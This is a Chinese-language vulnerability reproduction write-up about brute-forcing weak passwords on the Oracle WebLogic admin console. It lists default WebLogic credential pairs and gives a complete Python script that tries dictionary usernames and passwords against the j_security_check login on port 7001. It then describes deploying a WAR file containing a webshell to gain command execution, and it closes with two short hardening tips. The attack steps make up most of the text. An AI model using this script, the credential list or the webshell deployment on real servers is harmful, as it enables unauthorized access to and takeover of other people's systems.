影响范围
Weblogic *
漏洞类型
弱口令爆破
利用条件
未启用锁账号机制(默认是启动的,有些用户可能会为了便捷而关闭)
漏洞概述
WebLogic是美国Oracle公司出品的一个Application Server,它是一个基于JAVAEE架构的中间件,主要用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器,将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中,而弱口令作为历年来雄踞Top 10漏洞榜单的知名类型漏洞在Weblogic中也常常会遇到,不过目前Weblogic安装之后默认会启动锁封机制,当用户连续输错5次账号密码则会锁定账号。
常用口令
system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem:wlcsystem
weblogic:Oracle@123
漏洞复现
口令爆破
在登陆页面随便输入一个用户名密码,利用network查看提交情况
可以看到点击提交按钮后,浏览器向http://192.168.174.144:7001/console/j_security_check地址以POST的方式提交了这个表单
j_username: admin
j_password: admin
j_character_encoding: UTF-8
当提交错误时会重新返回登陆页面的地址,正确时则返回新的地址:
根据这个思路即可以编写爆破脚本如下:
#!/usr/bin/env python
# coding : utf-8
# Date : 2020/11/11
# Author : Al1ex
import requests
class WebLogic:
def __init__(self, url):
if '://' not in url:
url = 'http://' + url
self.url = url.strip('/')
def weakPasswd(self):
pwddict = ['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem','admin123']
for user in pwddict:
for pwd in pwddict:
data = {
'j_username':user,
'j_password':pwd,
'j_character_encoding':'UTF-8'
}
req = requests.post(self.url+':7001/console/j_security_check', data=data, allow_redirects=False, verify=False)
if req.status_code == 302 and 'console' in req.text and 'LoginForm.jsp' not in req.text:
print('[+] WebLogic username: '+user+' password: '+pwd)
exit()
if __name__ == '__main__':
url = '192.168.174.144'
wls = WebLogic(url)
wls.weakPasswd()
执行结果:
GetShell
登陆weblogic后台http://192.168.174.144:7001/console,之后点击左侧的部署,在弹出来的右侧页面点击"安装"
在安装页面选择"上载文件":
在"将部署上载到管理服务器"区域选择"浏览",然后按照提示(其实就是一直下一步就行,最后点保存)将打包好的包含大马的war包上传至服务器
之后访问webshell所在URL: http://192.168.174.144:7001/test/test/job.jsp
命令执行:
安全建议
1、启用*机制规避暴力破解风险
2、妥善保管Weblogic系统账号密码